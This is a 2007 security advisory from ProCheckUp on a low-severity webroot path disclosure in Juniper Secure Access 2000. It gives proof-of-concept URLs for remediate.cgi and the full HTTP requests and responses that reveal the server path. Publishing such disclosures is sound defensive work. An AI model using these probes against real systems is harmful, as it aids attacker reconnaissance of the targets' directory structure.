PR07-42: Webroot disclosure on Juniper Networks Secure Access 2000

PR07-42: Webroot disclosure on Juniper Networks Secure Access 2000

Vulnerability found: 6th December 2007

Vendor informed: 12th December 2007

Severity: Low

Description:

By simply requesting the 'remediate.cgi' script omitting certain
parameters, the web server returns the physical path of the webroot
('/home/webserver/htdocs/') within a "Execute failed" error message.

Successfully tested on: Juniper Networks Secure Access 2000 (SA-2000)
5.5R1 (build 11711)

Proof of concept:

https://target-domain.foo/dana-na/auth/remediate.cgi?action=&step=preauth
https://target-domain.foo/dana-na/auth/remediate.cgi?step=preauth

Consequences:

A remote attacker could recover information with regards to the target
site's directory structure.

This kind of information might be useful to attackers in certain
scenarios. i.e.: when attempting to exploit file retrieval vulnerabilities.

Fix:

Juniper Networks was aware of this issue which they addressed on version
6.0R1. However, we decided to release this advisory due to lack of
information regarding this vulnerability in the public domain.

References:

http://www.procheckup.com/Vulnerabilities.php
http://www.juniper.net/products_and_services/ssl_vpn_secure_access/secure_access_2000/

Credits: Richard Brain of ProCheckUp Ltd (www.procheckup.com)

COMPLETE HTTP REQUEST:

GET /dana-na/auth/remediate.cgi?step=preauth HTTP/1.1
User-Agent: curl/7.15.4 (i486-pc-linux-gnu) libcurl/7.15.4
OpenSSL/0.9.8b zlib/1.2.3 libidn/0.6.3
Host: target-domain.foo
Accept: /

COMPLETE HTTP RESPONSE:

HTTP/1.1 302 Moved
location: /dana-na/auth//welcome.cgi?p=&hideremed=1
Pragma: no-cache
Cache-Control: no-store
Expires: -1
Transfer-Encoding: chunked
Status: 500 Internal Error
Content-Type: text/html

<H2>500 Internal Error</H2><BR><H4>CGI script :
/home/webserver/htdocs/dana-na/auth/remediate.cgi</H4>
<BR> Compilation failed: Unable to execute script.<PRE>Execute failed,
errcode = 1

COMPLETE HTTP REQUEST:

GET /dana-na/auth/remediate.cgi?action=&step=preauth HTTP/1.1
User-Agent: curl/7.15.4 (i486-pc-linux-gnu) libcurl/7.15.4
OpenSSL/0.9.8b zlib/1.2.3 libidn/0.6.3
Host: target-domain.foo
Accept: /

COMPLETE HTTP RESPONSE:

HTTP/1.1 302 Moved
location: /dana-na/auth//welcome.cgi?p=&hideremed=1
Pragma: no-cache
Cache-Control: no-store
Expires: -1
Transfer-Encoding: chunked
Status: 500 Internal Error
Content-Type: text/html

<H2>500 Internal Error</H2><BR><H4>CGI script :
/home/webserver/htdocs/dana-na/auth/remediate.cgi</H4>
<BR> Compilation failed: Unable to execute script.<PRE>Execute failed,
errcode = 1

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